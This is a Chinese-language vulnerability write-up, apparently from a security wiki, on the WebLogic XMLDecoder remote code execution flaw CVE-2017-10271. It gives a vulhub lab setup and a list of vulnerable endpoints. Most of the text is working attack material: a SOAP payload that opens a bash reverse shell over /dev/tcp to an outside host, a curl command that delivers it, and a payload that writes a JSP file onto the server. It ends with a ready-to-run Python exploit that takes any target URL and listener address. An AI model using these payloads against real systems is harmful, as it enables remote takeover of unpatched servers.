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180 lines
5.4 KiB
Markdown
180 lines
5.4 KiB
Markdown
# Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
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## 漏洞描述
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Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
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## 漏洞影响
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```
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Weblogic 10.3.6.0.0
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Weblogic 12.1.3.0.0
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Weblogic 12.2.1.0.0
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Weblogic 12.2.1.2.0
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```
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## 环境搭建
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```plain
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git clone https://github.com/vulhub/vulhub.git
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cd vulhub/weblogic/CVE-2017-10271
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docker-compose up -d
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```
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访问 http://xxx.xxx.xxx.xxx:7001 正常即可
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## 漏洞复现
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对 http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType 进行访问，存在这个url则可能存在漏洞
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```plain
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其他可利用URL
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/wls-wsat/CoordinatorPortType
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/wls-wsat/RegistrationPortTypeRPC
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/wls-wsat/ParticipantPortType
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/wls-wsat/RegistrationRequesterPortType
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/wls-wsat/CoordinatorPortType11
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/wls-wsat/RegistrationPortTypeRPC11
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/wls-wsat/ParticipantPortType11
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/wls-wsat/RegistrationRequesterPortType11
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```
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使用POST方法上传以下数据反弹一个shell
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```xml
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.4.0" class="java.beans.XMLDecoder">
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<void class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3">
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<void index="0">
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<string>/bin/bash</string>
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</void>
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<void index="1">
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<string>-c</string>
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</void>
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<void index="2">
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<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
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</void>
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</array>
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<void method="start"/></void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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使用Curl反弹shell (将上面的xml数据保存为poc.xml)
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```shell
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curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType"
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```
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也可以通过漏洞写入webshell文件
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```xml
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java><java version="1.4.0" class="java.beans.XMLDecoder">
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<object class="java.io.PrintWriter">
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<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
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<void method="println"><string>
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<![CDATA[
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<% out.print("test"); %>
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]]>
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</string>
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</void>
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<void method="close"/>
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</object></java></java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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访问 http://xxx.xxx.xxx.xxx:7001/bea_wls_internal/test.jsp 即可得到写入的文件
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## 漏洞POC
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利用 [weblogic-scan](https://github.com/kingkaki/weblogic-scan)快速检测
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- 反弹shell exp
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import requests
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import sys
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import json
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: Weblogic 10.3.6.0.0 \033[0m')
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print('+ \033[34m Weblogic 12.1.3.0.0 \033[0m')
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print('+ \033[34m Weblogic 12.2.1.0.0 \033[0m')
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print('+ \033[34m Weblogic 12.2.1.2.0 \033[0m')
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print('+ \033[36m使用格式: python3 CVE-2017-10271.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7001 \033[0m')
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print('+ \033[36mCmd >>> shell(反弹shell) \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url, IP, PORT):
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vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
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headers = {
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"Content-Type": "text/xml",
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"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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data = """
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.4.0" class="java.beans.XMLDecoder">
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<void class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3">
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<void index="0">
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<string>/bin/bash</string>
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</void>
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<void index="1">
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<string>-c</string>
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</void>
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<void index="2">
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<string>bash -i >& /dev/tcp/%s/%s 0>&1</string>
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</void>
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</array>
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<void method="start"/></void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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""" % (IP,PORT)
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try:
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response = requests.request("POST", url=vuln_url, headers=headers, data=data)
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except:
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print("\033[31m[x] 漏洞利用失败 \033[0m")
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
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PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
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POC_1(target_url, IP, PORT)
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```
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